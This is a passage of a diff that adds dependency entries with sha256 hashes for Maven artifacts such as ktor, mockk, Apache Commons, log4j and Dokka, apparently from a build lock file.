+  "io/ktor#ktor-http-jvm/3.1.0": {
+   "jar": "sha256-P0EdpykAU0yn+98U2ClGID/5zuX51Asdoa8LT1cxvAQ=",
+   "module": "sha256-oU2k9zOnbcdqFBFvO8AVuMmPfL++HYlREzmkwxgZLto=",
+   "pom": "sha256-Fe5Hvs3813fZg/86cCcIdwB4fIG3zSv4af3IlvwQS4M="
+  },
+  "io/ktor#ktor-http/3.1.0": {
+   "jar": "sha256-Cq9ELHFqJdZepZGTKYA8oilfnQ0GnKZaxbBl8QqCI6M=",
+   "module": "sha256-DxL4nKNTV9lrnDm4cZUNnyE9ionS5WTuDpWv0m5+GFA=",
+   "pom": "sha256-LvtRa0ILk1E3nABUgAQ9MPiBqMez9Cu6IFPtIVOL/xw="
+  },
+  "io/ktor#ktor-io-jvm/3.1.0": {
+   "jar": "sha256-il7/QB0MOnIMJxxigfO+fQXvln8/5FlVtWmL+wDS6Mg=",
+   "module": "sha256-gSNUqxpnUj4SBIH7TgWrzs44uKmf9jlsbm7BrWEUjh8=",
+   "pom": "sha256-T6wi6sVBy1+RGshwGYSYn6qgoPojWBBzvcXv5p7pVKg="
+  },
+  "io/ktor#ktor-io/3.1.0": {
+   "jar": "sha256-Tlqa/YsK7F5aAkkbOu5yrBmSW1FJu3eb4mqvGw0EhOA=",
+   "module": "sha256-8Xz++TUJcpoiIwv26n3rstVMkkpzHbGZMuISrtIZ+mQ=",
+   "pom": "sha256-B8tQUrWU625rE3rwzr7Rhwm0ddn6v8Dd8K2ebVp/mkU="
+  },
+  "io/ktor#ktor-network-jvm/3.1.0": {
+   "jar": "sha256-NaffB63nqBPYqacDoHexlIXQVqkGKkKD0Owupu5KQAc=",
+   "module": "sha256-RAdfrIxqmpYyk2k8oVSoEYw+Q1fq0J65Th7XZ+1CgE4=",
+   "pom": "sha256-j2N+rwDvRQNAoDQQCUIx8RdPXDoz/K2aYC0MkcMM30s="
+  },
+  "io/ktor#ktor-network/3.1.0": {
+   "module": "sha256-gsDJkXe2+YxWXSF8i4bonB/T42CkKEY2B7IjiHdVwig=",
+   "pom": "sha256-V5eLmjmB749yVREEyO0a399PWXMHgGBU0y1666tPleQ="
+  },
+  "io/ktor#ktor-serialization-jvm/3.1.0": {
+   "jar": "sha256-NDLU8a+TRRQW5n99GIeoNje9qcPjnTHHywI2UzTG7hA=",
+   "module": "sha256-CI6+D4Mq+/jv6TT2pmRGroLRnfb0VUtqK+YsR/VwFHM=",
+   "pom": "sha256-y+orTEUZ4XwQtkpapB1HLQJPkkgc7szH+FLoHgSOM4M="
+  },
+  "io/ktor#ktor-serialization/3.1.0": {
+   "jar": "sha256-/mRerfpBDnOiNtQt1IDEe++XxPyVN896xb5TfIVKYNc=",
+   "module": "sha256-UqkiRx6Ckz1gqw+cOWEJOufZyGn8peVE7LwOodjsgTk=",
+   "pom": "sha256-vy7tiefujMD1QksZyIt61Dw1gapwyOe0QT/Ku81dTY0="
+  },
+  "io/ktor#ktor-sse-jvm/3.1.0": {
+   "jar": "sha256-vmKPzfnrcZSeAIEvHKJZ2SoXOFQPWEKskUsyyNnxP3E=",
+   "module": "sha256-+NijcNxryur9/vTzhMYR6DYSqbzgaQovh8Tlw+o3QsM=",
+   "pom": "sha256-vPA+SAD7NBDF18BwT7y1DpbjSSfaxQePnKs/WJYKgVs="
+  },
+  "io/ktor#ktor-sse/3.1.0": {
+   "jar": "sha256-nyZF6uMb2DBQYGAzR6be4HVKivytmn2mQoVq4B7VKrA=",
+   "module": "sha256-9FNsWXTjLSSZZR2Mg8Z8dfInuVMLWKgotujEImBvp3A=",
+   "pom": "sha256-xDqWseHWISVzRX1nE7SuJne8qsi1+Wg9N9oV0Dvr/vc="
+  },
+  "io/ktor#ktor-utils-jvm/3.1.0": {
+   "jar": "sha256-vCaVMIeaHbaWH0zz8/epX/x7LNo+0N6Y4VsT/k3e8NM=",
+   "module": "sha256-kRfk2qsKCiGOypjhUZC/FNwE2LyUyKWQAjUqQM0AUjU=",
+   "pom": "sha256-1lqKIrErRQ+KNaKb9SFOx3qM32Of/bxBzCrhycO2LNU="
+  },
+  "io/ktor#ktor-utils/3.1.0": {
+   "jar": "sha256-D/r19TJIfFKtT0URCyYttab5J7f4GdyjRL70W6YGiVM=",
+   "module": "sha256-kMyn71I3msfXwhUYACu6ccpjH2V8UpjXFeDOc71psmg=",
+   "pom": "sha256-vA3hI+y41AKXAjXCGM6PDaaEEkTjTZSq7YV2QOrGVa0="
+  },
+  "io/ktor#ktor-websocket-serialization-jvm/3.1.0": {
+   "jar": "sha256-cmDuBJAdOKLIgXEp8zNUESUQa7bFOOSI03Zh+eYootc=",
+   "module": "sha256-fvVAXOvtB5wHtCX0XnmKycM1jsEcqsnWkeplzBJ2HG8=",
+   "pom": "sha256-2vu1i3OABEHo4hUkZm9p/UnfHbHF0qXmaw2Bw9ewkgk="
+  },
+  "io/ktor#ktor-websocket-serialization/3.1.0": {
+   "jar": "sha256-ppr+goAKomVEiocPZbom2UxsdWTIY7aa9Owuf4XRcU4=",
+   "module": "sha256-d8pHWGhriIwLIaIAoctC1l+dKN86KEsuh19/AfQ+Rtw=",
+   "pom": "sha256-o2lhLku5i7Sdqc3sFqZasx5vXW2ebm0rWvGIfPVM3T8="
+  },
+  "io/ktor#ktor-websockets-jvm/3.1.0": {
+   "jar": "sha256-LOaH+nkfbr4s8OYiaWbFjuV+bLn32DcUXo6zr3jjNBg=",
+   "module": "sha256-HbcG2oTLjqHXEU2qrl08QHBZJtPFxfjnQpOuqZqHz1U=",
+   "pom": "sha256-PBBKITpqL2DkSKgEW4pwa1jFATWjj1DyfP5D0NTgzG4="
+  },
+  "io/ktor#ktor-websockets/3.1.0": {
+   "jar": "sha256-Crlm6gjSDft9unCdJksxt4TU3T4XNFZjjprMc8Mn9KE=",
+   "module": "sha256-Jqb+olhdQfgMqzDsBpj14xrvZ/IzhFOSd0Ds6hTOqc0=",
+   "pom": "sha256-AQsfSEfcjDVKRfvQ/O8WqTmPsi7lioswM8JDdmBfaEE="
+  },
+  "io/mockk#mockk-agent-api-jvm/1.13.12": {
+   "jar": "sha256-aroc+roxm9v2JJkKOnlexZ2Pccp/G/w0SHZg/Z9ANyQ=",
+   "module": "sha256-oAO+Y7smBOtQ1QCGufdZpY/dHxQqals4Hyk8KiUiJnQ=",
+   "pom": "sha256-IwedTHCjIoN09XHZzvs/o5wdIlRBMxHL0vmUoT6Irrs="
+  },
+  "io/mockk#mockk-agent-api/1.13.12": {
+   "jar": "sha256-+8ZPXESnrd7Ytuq1F899cFVeJRU79dRKbtmw5TEvfek=",
+   "module": "sha256-R6QVqeYQPqMha+BB8Bw+7H5MMqcnpMoLdq93ZLlQAp8=",
+   "pom": "sha256-pp8f/60KECmTn/EWRaVAOMl6PhKNwvy4Ycw1NWchBUo="
+  },
+  "io/mockk#mockk-agent-jvm/1.13.12": {
+   "jar": "sha256-oBan1nijeWbvapHdP1wNkB4f0IfqOmZLiqreAu27BCg=",
+   "module": "sha256-ydf/EsekTMr/jU6xeIvhRa6cTESRWY8LeO0Wdr4YN1w=",
+   "pom": "sha256-3Ypt12pn7cCtQcbFskEOVuK/8cTY7iFDB/B5XSutvp8="
+  },
+  "io/mockk#mockk-agent/1.13.12": {
+   "jar": "sha256-taPWLlRG2Joqjt46BWZPP5Dp0TczBfzQRucG3Z+uPAA=",
+   "module": "sha256-x9qhMQSJUG9ap8r70Q7JFvcZK5O8uEET2FUgnzssiqc=",
+   "pom": "sha256-P49Esb1DU5I7li6kgflmQnlgHWsnrONiqNqNqPZeKaY="
+  },
+  "io/mockk#mockk-core-jvm/1.13.12": {
+   "jar": "sha256-VUOHVlISU7BNqZ+OVZ2ZGI7bPvwIxXNYIP9ccu7vTw4=",
+   "module": "sha256-c3zkSUvgkiYLxIGRteqcmIAYzV51Kty8jIomJfIeB2o=",
+   "pom": "sha256-n7rWUUxlC39k/iVAQefSJLGleNDr6f5VlkBtM4u/uHI="
+  },
+  "io/mockk#mockk-core/1.13.12": {
+   "jar": "sha256-+8ZPXESnrd7Ytuq1F899cFVeJRU79dRKbtmw5TEvfek=",
+   "module": "sha256-CQq62ptNSZR7zE8MyIioWUIU9xt0IbLYKuqadRrDK+k=",
+   "pom": "sha256-9TO6OsYDEVWV5nEKOP+YSg/i6DG9ndNVyBKVel2dJHQ="
+  },
+  "io/mockk#mockk-dsl-jvm/1.13.12": {
+   "jar": "sha256-hpcTrqJ+DViXZxcu0FuDGdpIU7hob8+9uumk29EWCuQ=",
+   "module": "sha256-eRGSgcRIeDMBFVj1oRVzQf/QqKCcE5/cydvMUMZXtTI=",
+   "pom": "sha256-NlllIqqFSL43kdPhxjp9Sc/5xRxZp71VucP4TZ2VY90="
+  },
+  "io/mockk#mockk-dsl/1.13.12": {
+   "jar": "sha256-+8ZPXESnrd7Ytuq1F899cFVeJRU79dRKbtmw5TEvfek=",
+   "module": "sha256-wojYPAmPpF6w8v4Uzn3xDiEdTtPJHRNmrRYln4AKoPo=",
+   "pom": "sha256-JE9xuTaxfNBQQKFuAAICa65qdJowoMWtpPHUl7D5Yto="
+  },
+  "io/mockk#mockk-jvm/1.13.12": {
+   "jar": "sha256-1eAAmezFLhcabrkK+b3uqGSPwDhutmdT9bKsQSV60tE=",
+   "module": "sha256-xr2/cj2rtH5zCxU/xF5SuvucLPsE8TuxfzZN9qQ6rkU=",
+   "pom": "sha256-6uliDl5ElWwbYKKYdtgwmkEOMGuVU80SuX1+h+yuaXY="
+  },
+  "io/mockk#mockk/1.13.12": {
+   "jar": "sha256-9jSmcj1wIR3nUHBJG8cGKwQvjcAbzTuISH/LGlttHBw=",
+   "module": "sha256-HWmdO+XKKdKaqxIgWrBBjm9HQLCKBdpzMQE9cYeKHKw=",
+   "pom": "sha256-qoYhe63FZHyAKnQ0/xRlDaUo5Ya6thsPYkT0m6imCDk="
+  },
+  "io/opencensus#opencensus-api/0.31.1": {
+   "jar": "sha256-8UdNR/S2sAFVitJ7lS417aXMcUZ4iHf8UpOMbroks4I=",
+   "pom": "sha256-VW9CfhIJDvs2pgh/dBCr/kXeEBByktlvpj5BdRdOy3Y="
+  },
+  "io/opencensus#opencensus-contrib-http-util/0.31.1": {
+   "jar": "sha256-PqmVtVpAaL4imJtwzCmk14jC0yjR1QYTp6mv0T/dLQo=",
+   "pom": "sha256-6+IsQiIX1mLHzumUdvC1LIBXftRFeGrCmSUb76pMB1s="
+  },
+  "io/strikt#strikt-core/0.34.0": {
+   "jar": "sha256-xf0+SyhFyiqCEftWlUS4/OPy3nvEbhpKXZpm8XWw8qo=",
+   "module": "sha256-0zyyg0qOPowaRJ6cLF6KlhkJQBdaiPGWdvvTdE/AqL0=",
+   "pom": "sha256-h3Pbj+rHTAIsSbkFyJ4Mm2CFF55i3No+QURNimas0vc="
+  },
+  "it/unimi/dsi#fastutil-core/8.5.12": {
+   "jar": "sha256-8xwg9bBjEvPV4G5hYKMuJ02BmqbOvydSiya2tcDB3xk=",
+   "pom": "sha256-g5JDu+YWEfk3uwtdmzHQyOCWx9DWeZIs9u05+Cxu4NI="
+  },
+  "jakarta/activation#jakarta.activation-api/1.2.1": {
+   "jar": "sha256-iwoPUvqLBcVDGSGgY+2GbvqkHa3y46fuPhlh8rDZZFs=",
+   "pom": "sha256-QlhcsH3afyOqBOteCUAGGUSiRqZ609FpQvvlaf8DzTE="
+  },
+  "jakarta/platform#jakarta.jakartaee-bom/9.1.0": {
+   "pom": "sha256-35jgJmIZ/buCVigm15o6IHdqi6Aqp4fw8HZaU4ZUyKQ="
+  },
+  "jakarta/platform#jakartaee-api-parent/9.1.0": {
+   "pom": "sha256-p3AsSHAmgCeEtXl7YjMKi41lkr8PRzeyXGel6sgmWcA="
+  },
+  "jakarta/xml/bind#jakarta.xml.bind-api-parent/2.3.2": {
+   "pom": "sha256-FaVbfVN8n5lwrq0o0q+XwFn2X/YQL3a70p8SR92Kbfs="
+  },
+  "jakarta/xml/bind#jakarta.xml.bind-api/2.3.2": {
+   "jar": "sha256-aRVjBAeb3u2fwK47OTifGbPMS6REO8gFCJlTlOrXQuo=",
+   "pom": "sha256-tTeziNurTMBpC50vsMdBJNZyUxc0VnrPblMTDqsTGtY="
+  },
+  "junit#junit/4.13.2": {
+   "jar": "sha256-jklbY0Rp1k+4rPo0laBly6zIoP/1XOHjEAe+TBbcV9M=",
+   "pom": "sha256-Vptpd+5GA8llwcRsMFj6bpaSkbAWDraWTdCSzYnq3ZQ="
+  },
+  "net/bytebuddy#byte-buddy-agent/1.14.17": {
+   "jar": "sha256-Rh7DAX8URbCvQtTl8I629QMvpAOa1zfz/MSyoSo4+YQ=",
+   "pom": "sha256-/9q/Hrtfm7ZO/HNnckGjdkjjQutmknh9nOaTaLRtiyk="
+  },
+  "net/bytebuddy#byte-buddy-parent/1.14.17": {
+   "pom": "sha256-BuV7Xpn99O82iv/SNmF5CyO/MtLQE7vAjWjUNFAG9YI="
+  },
+  "net/bytebuddy#byte-buddy/1.14.17": {
+   "jar": "sha256-zej4+OB7/zaUqs4NmUS6dVZlpYOwXZFT1BBiKF6aimE=",
+   "pom": "sha256-7bLCWR4YBeoRfZojYVWGzGMh0lDokqnTRNwJ1aIr0T4="
+  },
+  "net/java/dev/jna#jna-platform/5.13.0": {
+   "jar": "sha256-R017iPbpcAm27B2YwwJN2VwjGHxl2r+8NTMbysPRc90=",
+   "pom": "sha256-Y7IMivBXyYGW+HieGiGm3d8Cqo84XmsEtLT58N8lcGY="
+  },
+  "net/java/dev/jna#jna/5.13.0": {
+   "jar": "sha256-ZtT4GaBipRodVie//CP6xV0Wd/Dgof66FEqr3WcKZLs=",
+   "pom": "sha256-9RXCV4F49FJH7Mp6nh2xCVMbHELyQk4lPO6w9rjUI3Q="
+  },
+  "net/java/dev/jna#jna/5.14.0": {
+   "jar": "sha256-NO0eHyf6iWvKUNvE6ZzzcylnzsOHp6DV40hsCWc/6MY=",
+   "pom": "sha256-4E4llRUB3yWtx7Hc22xTNzyUiXuE0+FJISknY+4Hrj0="
+  },
+  "net/thauvin/erik/urlencoder#urlencoder-lib-jvm/1.6.0": {
+   "jar": "sha256-jQ/SrrSNGdxJxWPrwA8nSUfkX3FsEHU1wS6tY97NaI0=",
+   "module": "sha256-xR2qXFshotEfU5wbBIr4Up9G1hAMoiSzJRH7WGPb6Co=",
+   "pom": "sha256-0km6NJnFKFee+uva43MWkv1EgdmvnLh3wh2bf6UHHr0="
+  },
+  "net/thauvin/erik/urlencoder#urlencoder-lib/1.6.0": {
+   "jar": "sha256-KRvF16OasWoD10f34Tn87CI1V3/LjS0HTYvQnMx26ug=",
+   "module": "sha256-FwoYaL+6OY1km+K/UNbNhgNQyUskNncrJMs0vN6kobU=",
+   "pom": "sha256-h64XwAQtoKQCt8aHbH7yBM1Zmied35GpwW30qJ3q57w="
+  },
+  "org/apache#apache/13": {
+   "pom": "sha256-/1E9sDYf1BI3vvR4SWi8FarkeNTsCpSW+BEHLMrzhB0="
+  },
+  "org/apache#apache/17": {
+   "pom": "sha256-OYBEt0tacZMmviGK4IEk5eLzMYq114/hmdUE78Lg1D8="
+  },
+  "org/apache#apache/18": {
+   "pom": "sha256-eDEwcoX9R1u8NrIK4454gvEcMVOx1ZMPhS1E7ajzPBc="
+  },
+  "org/apache#apache/21": {
+   "pom": "sha256-rxDBCNoBTxfK+se1KytLWjocGCZfoq+XoyXZFDU3s4A="
+  },
+  "org/apache#apache/30": {
+   "pom": "sha256-Y91KOTqcDfyzFO/oOHGkHSQ7yNIAy8fy0ZfzDaeCOdg="
+  },
+  "org/apache#apache/31": {
+   "pom": "sha256-VV0MnqppwEKv+SSSe5OB6PgXQTbTVe6tRFIkRS5ikcw="
+  },
+  "org/apache#apache/33": {
+   "pom": "sha256-14vYUkxfg4ChkKZSVoZimpXf5RLfIRETg6bYwJI6RBU="
+  },
+  "org/apache/ant#ant-launcher/1.10.15": {
+   "jar": "sha256-XIVRmQMHoDIzbZjdrtVJo5ponwfU1Ma5UGAb8is9ahs=",
+   "pom": "sha256-ea+EKil53F/gAivAc8SYgQ7q2DvGKD7t803E3+MNrJU="
+  },
+  "org/apache/ant#ant-parent/1.10.15": {
+   "pom": "sha256-SYhPGHPFEHzCN/QoXER3R5uwgEvwc3OUgBsI114rvrA="
+  },
+  "org/apache/ant#ant/1.10.15": {
+   "jar": "sha256-djrNpKaViMnqiBepUoUf8ML8S/+h0IHCVl3EB/KdV5Q=",
+   "pom": "sha256-R4DmHoeBbu4fIdGE7Jl7Zfk9tfS5BCwXitsp4j50JdY="
+  },
+  "org/apache/commons#commons-compress/1.26.0": {
+   "jar": "sha256-BRrOuLvMYtD1sriscsU3Z/nFm/vQUBUeZb729RyO2ck=",
+   "pom": "sha256-wcloH4jZQhcwxNphdkkruqVAUqIybfnkC8NPTEBSJ68="
+  },
+  "org/apache/commons#commons-lang3/3.14.0": {
+   "jar": "sha256-e5a/PuaJSau1vEZVWawnDgVRWW+jRSP934kOxBjd4Tw=",
+   "pom": "sha256-EQQ4hjutN8KPkGv4cBbjjHqMdYujIeCdEdxaI2Oo554="
+  },
+  "org/apache/commons#commons-parent/34": {
+   "pom": "sha256-Oi5p0G1kHR87KTEm3J4uTqZWO/jDbIfgq2+kKS0Et5w="
+  },
+  "org/apache/commons#commons-parent/42": {
+   "pom": "sha256-zTE0lMZwtIPsJWlyrxaYszDlmPgHACNU63ZUefYEsJw="
+  },
+  "org/apache/commons#commons-parent/64": {
+   "pom": "sha256-bxljiZToNXtO1zRpb5kgV++q+hI1ZzmYEzKZeY4szds="
+  },
+  "org/apache/commons#commons-parent/66": {
+   "pom": "sha256-SP1tyEblax9AhmDRY+dTAPnjhLtjvkgqgIKiHXKo25w="
+  },
+  "org/apache/commons#commons-parent/74": {
+   "pom": "sha256-gOthsMh/3YJqBpMTsotnLaPxiFgy2kR7Uebophl+fss="
+  },
+  "org/apache/groovy#groovy-bom/4.0.22": {
+   "module": "sha256-Ul0/SGvArfFvN+YAL9RlqygCpb2l9MZWf778copo5mY=",
+   "pom": "sha256-Hh9rQiKue/1jMgA+33AgGDWZDb1GEGsWzduopT4832U="
+  },
+  "org/apache/httpcomponents#httpclient/4.5.13": {
+   "jar": "sha256-b+kCalZsalABYIzz/DIZZkH2weXhmG0QN8zb1fMe90M=",
+   "pom": "sha256-eOua2nSSn81j0HrcT0kjaEGkXMKdX4F79FgB9RP9fmw="
+  },
+  "org/apache/httpcomponents#httpcomponents-client/4.5.13": {
+   "pom": "sha256-nLpZTAjbcnHQwg6YRdYiuznmlYORC0Xn1d+C9gWNTdk="
+  },
+  "org/apache/httpcomponents#httpcomponents-core/4.4.15": {
+   "pom": "sha256-YNQ3J6YXSATIrhf5PpzGMuR/PEEQpMVLn6/IzZqMpQk="
+  },
+  "org/apache/httpcomponents#httpcomponents-parent/11": {
+   "pom": "sha256-qQH4exFcVQcMfuQ+//Y+IOewLTCvJEOuKSvx9OUy06o="
+  },
+  "org/apache/httpcomponents#httpcore/4.4.15": {
+   "jar": "sha256-PLrtCIxJmhD5bd5Y853A55hRcavYgTjKFlWocgEbsUI=",
+   "pom": "sha256-Kaz+qoqIu2IPw0Nxows9QDKNxaecx0kCz0RsCUPBvms="
+  },
+  "org/apache/logging#logging-parent/11.3.0": {
+   "pom": "sha256-pcmFtW/hxYQzOTtQkabznlufeFGN2PySE0aQWZtk19A="
+  },
+  "org/apache/logging/log4j#log4j-api/2.24.1": {
+   "jar": "sha256-bne7Ip/I3K8JA4vutekDCyLp4BtRtFiwGDzmaevMku8=",
+   "pom": "sha256-IzAaISnUEAiZJfSvQa7LUlhKPcxFJoI+EyNOyst+c+M="
+  },
+  "org/apache/logging/log4j#log4j-bom/2.24.1": {
+   "pom": "sha256-vGPPsrS5bbS9cwyWLoJPtpKMuEkCwUFuR3q1y3KwsNM="
+  },
+  "org/apache/logging/log4j#log4j-core/2.24.1": {
+   "jar": "sha256-ALzziEcsqApocBQYF2O2bXdxd/Isu/F5/WDhsaybybA=",
+   "pom": "sha256-JyQstBek3xl47t/GlYtFyJgg+WzH9NFtH0gr/CN24M0="
+  },
+  "org/apache/logging/log4j#log4j/2.24.1": {
+   "pom": "sha256-+NcAm1Rl2KhT0QuEG8Bve3JnXwza71OoDprNFDMkfto="
+  },
+  "org/apache/maven#maven-api-meta/4.0.0-alpha-9": {
+   "jar": "sha256-MsT1yturaAw0lS+ctXBFehODzOxMmlewOSYH1xkcaUk=",
+   "pom": "sha256-2ePDXW/aysuNGLn2QoYJDH/65yjWbLJq9aJmgZUNvnk="
+  },
+  "org/apache/maven#maven-api-xml/4.0.0-alpha-9": {
+   "jar": "sha256-KbJijQ8CgRlxWRaEnBnu1FsyzcZ+sTVReYxzr6SqI9Y=",
+   "pom": "sha256-N2bjAzOTTJIvUlj6M0uHXyi7ABJ/8D3vANl/KlOnrps="
+  },
+  "org/apache/maven#maven-api/4.0.0-alpha-9": {
+   "pom": "sha256-ZYvglXcymzX5TemWdb8O/HI26ZYbXHhfMyqkfyKUcfA="
+  },
+  "org/apache/maven#maven-bom/4.0.0-alpha-9": {
+   "pom": "sha256-4EfSnTUI/yd6Wsk1u5J/NUkQLMbTec5a4p4pYzeE0Rw="
+  },
+  "org/apache/maven#maven-parent/41": {
+   "pom": "sha256-di/N1M6GIcX6Ciz2SVrSaXKoCT60Mqo+QCvC1OJQDFM="
+  },
+  "org/apache/maven#maven-xml-impl/4.0.0-alpha-9": {
+   "jar": "sha256-JucCuIHVeuTuiNAsAJQLpkBjcF7mkgWuiVi/g5qLBrE=",
+   "pom": "sha256-us0USYVzbUMmuuRChHM78eMTKX3NolNGTkYpsddoGPc="
+  },
+  "org/apache/maven#maven/4.0.0-alpha-9": {
+   "pom": "sha256-5QzZ/zefQ3H3/ywsrFF5YfPS9n7fgJCHU8e9UGuRPX4="
+  },
+  "org/checkerframework#checker-qual/3.33.0": {
+   "jar": "sha256-4xYlW7/Nn+UNFlMUuFq7KzPLKmapPEkdtkjkmKgsLeE=",
+   "module": "sha256-6FIddWJdQScsdn0mKhU6wWPMUFtmZEou9wX6iUn/tOU=",
+   "pom": "sha256-9VqSICenj92LPqFaDYv+P+xqXOrDDIaqivpKW5sN9gM="
+  },
+  "org/codehaus/plexus#plexus-utils/4.0.2": {
+   "jar": "sha256-iVcnTnX+LCeLFCjdFqDa7uHdOBUstu/4Fhd6wo/Mtpc=",
+   "pom": "sha256-UVHBO918w6VWlYOn9CZzkvAT/9MRXquNtfht5CCjZq8="
+  },
+  "org/codehaus/plexus#plexus-xml/4.0.4": {
+   "jar": "sha256-Bp54tTcQjcYSSmcHP8mYJkeR9rZJnpVaOOcrs+T+Gt8=",
+   "pom": "sha256-Ohb3yn7CRzFFtGHgpylREI1H4SThjIRMCFsaY3jGEVE="
+  },
+  "org/codehaus/plexus#plexus/18": {
+   "pom": "sha256-tD7onIiQueW8SNB5/LTETwgrUTklM1bcRVgGozw92P0="
+  },
+  "org/codehaus/woodstox#stax2-api/4.2.1": {
+   "jar": "sha256-Z4Vn5ItRpCxlxpnyZlOa09Z21LGlsK19iezoudV3JXk=",
+   "pom": "sha256-edpBDIwPRqP46K2zDWwkzNYGW272v96HvZfpiB6gouc="
+  },
+  "org/eclipse/ee4j#project/1.0.2": {
+   "pom": "sha256-dJWgenl+iOQ8O8GodCG9ix/FXjIpH6GOTjLYAx3chz8="
+  },
+  "org/eclipse/ee4j#project/1.0.5": {
+   "pom": "sha256-kWtHlNjYIgpZo/32pk2+eUrrIzleiIuBrjaptaLFkaY="
+  },
+  "org/eclipse/ee4j#project/1.0.7": {
+   "pom": "sha256-IFwDmkLLrjVW776wSkg+s6PPlVC9db+EJg3I8oIY8QU="
+  },
+  "org/eclipse/jgit#org.eclipse.jgit-parent/5.13.3.202401111512-r": {
+   "pom": "sha256-h/d52RwFAmJDm6CAf856MyW22N1+hlZdC8WnEGpLnMk="
+  },
+  "org/eclipse/jgit#org.eclipse.jgit/5.13.3.202401111512-r": {
+   "jar": "sha256-2st0wosIm8N4+MKh3NpREMIPUhJPWgIK7yaE1w738bs=",
+   "pom": "sha256-inan72s3SAx8/Uq8iDiX91KCUWeS/wt6qJnbJ/hXlt8="
+  },
+  "org/freemarker#freemarker/2.3.32": {
+   "jar": "sha256-BNZewb3mzqIONJXV5475ard02ZNkNIYdMlS9iOfpT5I=",
+   "pom": "sha256-B6B+Lq8JdgIrVAVnx99iJxK5oDk6bF9tIOb/FXkiKgE="
+  },
+  "org/graalvm/buildtools#graalvm-reachability-metadata/0.10.5": {
+   "jar": "sha256-Zrx6LMBEW83gkO48gh9aIDunUSVjHzi8ELZcQY3OMGo=",
+   "module": "sha256-kJezexEeC+z+tdt8RT/K9vRoKgXha/AoX5YArWuh6hI=",
+   "pom": "sha256-fm5LsxPF9mzAY3kkw2zjouSd4ZZarujUW5FA6B34ybQ="
+  },
+  "org/graalvm/buildtools#native-gradle-plugin/0.10.5": {
+   "jar": "sha256-Qiuutt64HoVoD8PW1Q9EGmSIMhQITFKXxPT7vFzEFRQ=",
+   "module": "sha256-fa7/t9mXz5ZLFsRovtd+M8JHlxaTOo5dYpGJOuCy3M4=",
+   "pom": "sha256-KqAu2uMBn2gbJfpX9GCZwJVjLXrANWSKHV5jcXOQPpM="
+  },
+  "org/graalvm/buildtools#utils/0.10.5": {
+   "jar": "sha256-l87UuiA/yw8xFi4oz5DPdKClTKkKTkdD4hrfKlXYpRM=",
+   "module": "sha256-3lOgGSmWz4Rs1DpTSrFrM6veHwe/R3UebsmokDDxIAo=",
+   "pom": "sha256-CUXd59XuNwBPi1BVRUf/vMq2bsx42tdVJ2Rm0vfL+mM="
+  },
+  "org/hamcrest#hamcrest-core/1.3": {
+   "jar": "sha256-Zv3vkelzk0jfeglqo4SlaF9Oh1WEzOiThqekclHE2Ok=",
+   "pom": "sha256-/eOGp5BRc6GxA95quCBydYS1DQ4yKC4nl3h8IKZP+pM="
+  },
+  "org/hamcrest#hamcrest-parent/1.3": {
+   "pom": "sha256-bVNflO+2Y722gsnyelAzU5RogAlkK6epZ3UEvBvkEps="
+  },
+  "org/jdom#jdom2/2.0.6.1": {
+   "jar": "sha256-CyD0XjoP2PDRLNxTFrBndukCsTZdsAEYh2+RdcYPMCw=",
+   "pom": "sha256-VXleEBi4rmR7k3lnz4EKmbCFgsI3TnhzwShzTIyRS/M="
+  },
+  "org/jetbrains#annotations/13.0": {
+   "jar": "sha256-rOKhDcji1f00kl7KwD5JiLLA+FFlDJS4zvSbob0RFHg=",
+   "pom": "sha256-llrrK+3/NpgZvd4b96CzuJuCR91pyIuGN112Fju4w5c="
+  },
+  "org/jetbrains#annotations/23.0.0": {
+   "jar": "sha256-ew8ZckCCy/y8ZuWr6iubySzwih6hHhkZM+1DgB6zzQU=",
+   "pom": "sha256-yUkPZVEyMo3yz7z990P1P8ORbWwdEENxdabKbjpndxw="
+  },
+  "org/jetbrains#markdown-jvm/0.5.2": {
+   "jar": "sha256-cmSER3JgpVLcfBmwnUZWxIrjsQ2yclAA4YLWFZUptG4=",
+   "module": "sha256-fzA2ZgQteNJMVVEgyIJHjDCaIo7pK1G9ca2/+knDO1A=",
+   "pom": "sha256-D58z0tjpkbt1C7VZ2q1YtsVH5raHQAA4Jne3XFtYpG0="
+  },
+  "org/jetbrains#markdown-jvm/0.7.3": {
+   "jar": "sha256-iTq7MfFbYhb3TccEwMa/HlZ9zytizKKc9C5PUxU2N6w=",
+   "module": "sha256-cCm2PHSWTltDNDCO5ynpW1ONpe1qwSsuR31HhXLQIlI=",
+   "pom": "sha256-rLnRV//Hpk7mK+jt2WANJrXbAycKdOi+U815/gsm880="
+  },
+  "org/jetbrains#markdown/0.5.2": {
+   "module": "sha256-bpFAGmpLbnc1auIzdjDoovLcQawmG3BbOpZv/GI/I+Q=",
+   "pom": "sha256-mH5hITw/ERPsyi/8I6b0hpvuig+zCR8n3xvfq1KMhSg="
+  },
+  "org/jetbrains#markdown/0.7.3": {
+   "jar": "sha256-+Hp+5ADarnOaX9bzGdMb+6MG8E1qV1dAawGd8b8r9qk=",
+   "module": "sha256-2/rnqoU+teoe66MYllOKhANkb1XFmpkZHWh/wDe9rDk=",
+   "pom": "sha256-EeUuCmQOVKSzsjDRSFyVukuneyx7H8KENzkPngEicUc="
+  },
+  "org/jetbrains/dokka#analysis-kotlin-descriptors/1.9.20": {
+   "jar": "sha256-Nq+ECbvk2mov81ZFwntqdoeIQEQ4mLVgWh2avXVclow=",
+   "pom": "sha256-WO9jQY0yViRqjpkfKV8q/N7WefqS/LgpdOJt7Vy2Vkc="
+  },
+  "org/jetbrains/dokka#analysis-markdown/1.9.20": {
+   "jar": "sha256-uiEg/wNxXhsmXRgLXVT4j+itp1jXljlQXPoCNfc1wQk=",
+   "module": "sha256-/qwu1TYem5odag9q1jAZrxMIZXlABtWoRSiYw2rAF2A=",
+   "pom": "sha256-kpPTl50NqDO40F+/cuEZnF2VuWMexl/ut1y7uPhBtyg="
+  },
+  "org/jetbrains/dokka#dokka-base/1.9.20": {
+   "jar": "sha256-xr/alBtH0NpGuAQtweOvYs3G9Kdrv9kJQ9p8max0d4M=",
+   "module": "sha256-IDrGkj+sD1j2YisCrXGeIuBOr4m7sZ2opyDdVP7m8Ik=",
+   "pom": "sha256-hkh3sGo3jO4h4u+aDclp6pCjK/KYviAnS5LM9q/fKow="
+  },
+  "org/jetbrains/dokka#dokka-core/1.9.20": {
+   "jar": "sha256-EhizoInIX41byc7lNGp4f2QUPW/HtPBLBRtqW3Sv3IY=",
+   "module": "sha256-w+z7y6JqmLbouDusckOZKz6d/jilB9d6UnvL5E75ua0=",
+   "pom": "sha256-N9LsB2+hsvlR92bUjxHVHXOrjlNwkGy/XXnMPkbRjxI="
